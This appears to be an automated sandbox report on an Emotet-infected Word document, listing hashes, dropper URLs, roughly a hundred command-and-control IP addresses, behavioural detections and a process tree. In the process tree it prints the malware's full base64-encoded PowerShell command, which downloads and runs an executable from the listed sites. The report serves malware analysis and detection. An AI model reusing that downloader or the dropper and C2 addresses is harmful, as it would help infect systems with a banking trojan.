emotet | cc4e850a0beb11d14aec852dde896250ecea77cfbee9a9388ab5057437152166

Analysis

max time kernel
142s
max time network
148s
platform
windows10_x64
resource
win10v200722
submitted
28/09/2020, 12:03

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General

Target
emotet_e1_cc4e850a0beb11d14aec852dde896250ecea77cfbee9a9388ab5057437152166_2020-09-28__115948244387._doc.doc
Size 133KB
Sample200928-dez2lt256s
SHA256 cc4e850a0beb11d14aec852dde896250ecea77cfbee9a9388ab5057437152166
MD5 8c148c00041f21b2e1d23efb1eec3629
SHA1 3257f81e5995c0b433f81807f114dca7fe4f5e65
SHA512 cf35f9b88b5a2dedf2d19a3c4925e67f582cf2c1b448cbac41813ca380b77c54d53971a1ca66bad18c596f23bb8096faee26db4b24e2952f425486e0118730d7
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://digimarketery.com/wp-admin/p/
exe.dropper
http://www.mdmfashionbrand.com/softaculous/E6/
exe.dropper
http://unicusadvisors.com/wp-content/plugins/wp-file-manager--/3/
exe.dropper
http://castilloreservado2.com/wp-content/D/
exe.dropper
https://edwardlongmire.com/w2ei/hI/
exe.dropper
http://mathispros.sctestinglab.com/wp-content/5/
exe.dropper
https://samsportal.org/images/9p/

Extracted

Family

emotet

12.163.208.58:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
192.241.146.84:8080
74.58.215.226:80
199.203.62.165:80
185.94.252.27:443
174.113.69.136:80
46.43.2.95:8080
50.121.220.50:80
192.81.38.31:80
51.38.124.206:80
76.168.54.203:80
51.75.33.127:80
189.2.177.210:443
77.106.157.34:8080
45.33.77.42:8080
178.250.54.208:8080
5.196.35.138:7080
219.92.13.25:80
138.97.60.141:7080
190.190.148.27:8080
95.9.180.128:80
70.116.143.84:80
190.24.243.186:80
68.69.155.181:80
187.162.248.237:80
82.76.111.249:443
202.4.58.197:80
152.169.22.67:80
213.197.182.158:8080
185.232.182.218:80
172.104.169.32:8080
191.182.6.118:80
77.238.212.227:80
216.47.196.104:80
38.88.126.202:8080
155.186.0.121:80
177.74.228.34:80
119.106.216.84:80
51.15.7.145:80
96.227.52.8:443
74.136.144.133:80
45.46.37.97:80
190.115.18.139:8080
201.213.177.139:80
181.129.96.162:8080
5.189.178.202:8080
185.215.227.107:443
137.74.106.111:7080
91.105.94.200:80
83.169.21.32:7080
186.70.127.199:8090
2.36.95.106:80
96.245.123.149:80
186.103.141.250:443
1.226.84.243:8080
185.94.252.12:80
85.214.26.7:8080
87.106.46.107:8080
217.13.106.14:8080
116.202.23.3:8080
65.36.62.20:80
82.230.1.24:80
70.32.84.74:8080
68.183.170.114:8080
190.117.79.209:80
185.178.10.77:80
111.67.12.221:8080
181.30.61.163:443
98.13.75.196:80
70.32.115.157:8080
51.15.7.189:80
170.81.48.2:80
92.24.50.153:80
51.255.165.160:8080
35.143.99.174:80
50.28.51.143:8080
45.16.226.117:443
185.183.16.47:80
149.202.72.142:7080
67.247.242.247:80
104.131.41.185:8080
78.249.119.122:80
202.134.4.210:7080
209.236.123.42:8080
60.93.23.51:80
190.2.31.172:80
94.176.234.118:443
177.129.17.170:443
64.201.88.132:80
188.135.15.49:80
220.109.145.69:80
60.108.144.104:443
123.51.47.18:80
192.241.143.52:8080
212.71.237.140:8080
61.197.92.216:80
12.162.84.2:8080
80.11.164.185:80
45.33.35.74:8080
68.183.190.199:8080
87.106.253.248:8080
177.73.0.98:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3932	504	POwersheLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2224-13-0x0000000002270000-0x0000000002282000-memory.dmp	emotet
behavioral2/memory/2224-13-0x0000000002270000-0x0000000002282000-memory.dmp	emotet
behavioral2/memory/2224-14-0x00000000005C0000-0x00000000005D0000-memory.dmp	emotet
behavioral2/memory/2224-14-0x00000000005C0000-0x00000000005D0000-memory.dmp	emotet
behavioral2/memory/2080-17-0x0000000000680000-0x0000000000692000-memory.dmp	emotet
behavioral2/memory/2080-17-0x0000000000680000-0x0000000000692000-memory.dmp	emotet
behavioral2/memory/2080-18-0x00000000006A0000-0x00000000006B0000-memory.dmp	emotet
behavioral2/memory/2080-18-0x00000000006A0000-0x00000000006B0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
21	3932	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2224	Tmkr9st.exe
2080	apphelp.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDMYAN\apphelp.exe	Tmkr9st.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
512	WINWORD.EXE
512	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3932	POwersheLL.exe
3932	POwersheLL.exe
3932	POwersheLL.exe
2080	apphelp.exe
2080	apphelp.exe
2080	apphelp.exe
2080	apphelp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3932	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3932 wrote to memory of 2224	3932	POwersheLL.exe	79
PID 3932 wrote to memory of 2224	3932	POwersheLL.exe	79
PID 3932 wrote to memory of 2224	3932	POwersheLL.exe	79
PID 2224 wrote to memory of 2080	2224	Tmkr9st.exe	81
PID 2224 wrote to memory of 2080	2224	Tmkr9st.exe	81
PID 2224 wrote to memory of 2080	2224	Tmkr9st.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_cc4e850a0beb11d14aec852dde896250ecea77cfbee9a9388ab5057437152166_2020-09-28__115948244387._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:512

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABVADMAMwBvAGgAXwB3AD0AKAAoACcASQB6AGsAaQAnACsAJwBxACcAKQArACcAZgBtACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAUgBQAHIAbwBGAGkAbABFAFwASwBQAFYAMQB6ADUAMgBcAEUAUgAwAHYARABuAFkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAGAAVQByAGAAaQB0AHkAcABgAFIAbwBUAE8AYABDAG8AbAAiACAAPQAgACgAJwB0ACcAKwAoACcAbABzADEAJwArACcAMgAnACkAKwAnACwAJwArACcAIAB0ACcAKwAoACcAbAAnACsAJwBzADEAMQAsACcAKQArACgAJwAgAHQAbAAnACsAJwBzACcAKQApADsAJABMADYAYgA3AHIAaAB0ACAAPQAgACgAJwBUAG0AJwArACcAawByACcAKwAoACcAOQBzACcAKwAnAHQAJwApACkAOwAkAEQAbQBqAHYAYgB2ADcAPQAoACgAJwBFACcAKwAnAHUAYwAxAHAAJwApACsAJwBlAG0AJwApADsAJABGADcANgBwAGIAYQBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGsAVQAnACsAJwBtAEsAJwArACgAJwBwAHYAJwArACcAMQAnACkAKwAnAHoANQAnACsAJwAyACcAKwAoACcAawBVACcAKwAnAG0ARQByADAAJwArACcAdgBkACcAKwAnAG4AeQBrAFUAJwApACsAJwBtACcAKQAtAGMAUgBlAFAATABhAEMARQAgACAAKAAnAGsAVQAnACsAJwBtACcAKQAsAFsAQwBoAEEAUgBdADkAMgApACsAJABMADYAYgA3AHIAaAB0ACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAVQBqAG8AYQB1AHMAZAA9ACgAJwBEACcAKwAoACcAcwA0ACcAKwAnADIAJwApACsAKAAnAGMAaAAnACsAJwB1ACcAKQApADsAJABaAGEAYQBfAGoAYgBvAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcARQBiAEMAbABJAGUATgB0ADsAJABJAHMAeAAxAGQAcgBhAD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnADoAJwArACgAJwAvAC8AJwArACcAZABpAGcAaQBtAGEAcgAnACkAKwAnAGsAJwArACgAJwBlAHQAZQByACcAKwAnAHkALgBjAG8AbQAnACkAKwAnAC8AJwArACgAJwB3ACcAKwAnAHAALQBhAGQAbQBpAG4AJwApACsAJwAvAHAAJwArACcALwAnACsAJwAqAGgAJwArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAJwB3AHcAJwArACcAdwAuACcAKwAnAG0AZAAnACsAKAAnAG0AZgAnACsAJwBhAHMAaABpAG8AbgAnACkAKwAoACcAYgByACcAKwAnAGEAbgBkAC4AYwBvAG0AJwApACsAKAAnAC8AJwArACcAcwBvAGYAdAAnACkAKwAoACcAYQBjACcAKwAnAHUAJwApACsAJwBsAG8AJwArACgAJwB1AHMAJwArACcALwBFACcAKQArACcANgAnACsAJwAvACcAKwAoACcAKgAnACsAJwBoAHQAdABwACcAKwAnADoALwAvAHUAJwApACsAKAAnAG4AJwArACcAaQBjAHUAcwAnACkAKwAoACcAYQAnACsAJwBkACcAKwAnAHYAaQBzAG8AcgBzACcAKQArACcALgAnACsAKAAnAGMAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwBuAHQAZQBuACcAKQArACgAJwB0AC8AJwArACcAcAAnACkAKwAoACcAbAB1ACcAKwAnAGcAJwApACsAKAAnAGkAJwArACcAbgBzACcAKQArACgAJwAvAHcAJwArACcAcAAnACkAKwAoACcALQAnACsAJwBmAGkAJwApACsAJwBsACcAKwAnAGUAJwArACgAJwAtAG0AYQBuACcAKwAnAGEAJwApACsAJwBnAGUAJwArACgAJwByACcAKwAnAC0ALQAnACkAKwAoACcALwAnACsAJwAzAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAvACcAKwAnAC8AJwApACsAJwBjAGEAJwArACgAJwBzAHQAaQBsAGwAJwArACcAbwByACcAKwAnAGUAcwAnACkAKwAoACcAZQByACcAKwAnAHYAJwApACsAKAAnAGEAZAAnACsAJwBvADIAJwApACsAKAAnAC4AYwAnACsAJwBvAG0AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AYwAnACkAKwAoACcAbwAnACsAJwBuAHQAZQAnACkAKwAnAG4AdAAnACsAKAAnAC8AJwArACcARAAvACcAKQArACgAJwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAKAAnAHMAOgAnACsAJwAvAC8AZQAnACkAKwAoACcAZAB3AGEAJwArACcAcgAnACkAKwAoACcAZABsACcAKwAnAG8AJwApACsAKAAnAG4AJwArACcAZwBtAGkAcgAnACkAKwAnAGUAJwArACcALgAnACsAKAAnAGMAJwArACcAbwBtACcAKQArACcALwAnACsAKAAnAHcAMgBlACcAKwAnAGkALwBoACcAKwAnAEkAJwApACsAKAAnAC8AJwArACcAKgBoAHQAdAAnACkAKwAnAHAAOgAnACsAJwAvAC8AJwArACgAJwBtACcAKwAnAGEAdAAnACkAKwAnAGgAaQAnACsAJwBzAHAAJwArACcAcgAnACsAKAAnAG8AJwArACcAcwAuAHMAYwB0ACcAKQArACcAZQBzACcAKwAoACcAdABpAG4AJwArACcAZwBsAGEAJwArACcAYgAnACkAKwAoACcALgAnACsAJwBjACcAKwAnAG8AbQAvAHcAcAAnACkAKwAnAC0AJwArACgAJwBjAG8AbgAnACsAJwB0AGUAbgB0AC8ANQAnACsAJwAvACoAaAB0AHQAcABzACcAKwAnADoAJwApACsAKAAnAC8AJwArACcALwBzAGEAbQAnACkAKwAnAHMAJwArACcAcABvACcAKwAnAHIAJwArACgAJwB0ACcAKwAnAGEAJwArACcAbAAuAG8AcgBnAC8AaQBtACcAKQArACcAYQBnACcAKwAoACcAZQBzACcAKwAnAC8AOQBwAC8AJwApACkALgAiAHMAUABgAEwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBvAGoANgAyAGIAawA9ACgAKAAnAFYAaAAnACsAJwBiADcAJwApACsAKAAnAGMAJwArACcAeABiACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAUgBrADcAMQA3AHMAaQAgAGkAbgAgACQASQBzAHgAMQBkAHIAYQApAHsAdAByAHkAewAkAFoAYQBhAF8AagBiAG8ALgAiAEQAbwB3AGAATgBMAGAATwBhAGAAZABmAGkAbABFACIAKAAkAFIAawA3ADEANwBzAGkALAAgACQARgA3ADYAcABiAGEAZgApADsAJABBADYAeQB5AGUAcwA2AD0AKAAnAEcAaQAnACsAKAAnAHEAJwArACcAdQAzAGUAYQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABGADcANgBwAGIAYQBmACkALgAiAEwARQBgAE4ARwBgAFQASAAiACAALQBnAGUAIAAzADkANwAzADIAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAoACQARgA3ADYAcABiAGEAZgApADsAJABVAHEAYgA3AHIAMQAyAD0AKAAoACcAUQBoAG4AcgBoACcAKwAnADAAJwApACsAJwB0ACcAKQA7AGIAcgBlAGEAawA7ACQARQAyAGgAdAA4AGcAMgA9ACgAJwBRAHcAJwArACcAcwAnACsAKAAnAHcAMQAnACsAJwBfAHoAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIANwBrAGcAYQAzAHQAPQAoACgAJwBYAHoAJwArACcAcwAnACkAKwAoACcAbABzACcAKwAnAGcAYgAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3932
- C:\Users\Admin\Kpv1z52\Er0vdny\Tmkr9st.exe
  "C:\Users\Admin\Kpv1z52\Er0vdny\Tmkr9st.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\SysWOW64\KBDMYAN\apphelp.exe
    "C:\Windows\SysWOW64\KBDMYAN\apphelp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2080

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/512-0-0x00007FFEAA170000-0x00007FFEAA836000-memory.dmp

Download

memory/512-3-0x000002754AAE9000-0x000002754AAEE000-memory.dmp

Download

memory/2080-18-0x00000000006A0000-0x00000000006B0000-memory.dmp

Download

memory/2080-17-0x0000000000680000-0x0000000000692000-memory.dmp

Download

memory/2224-14-0x00000000005C0000-0x00000000005D0000-memory.dmp

Download

memory/2224-13-0x0000000002270000-0x0000000002282000-memory.dmp

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memory/3932-9-0x00000279A57B0000-0x00000279A57B1000-memory.dmp

Download

memory/3932-8-0x000002798D420000-0x000002798D421000-memory.dmp

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memory/3932-7-0x00007FFEA2A30000-0x00007FFEA341C000-memory.dmp

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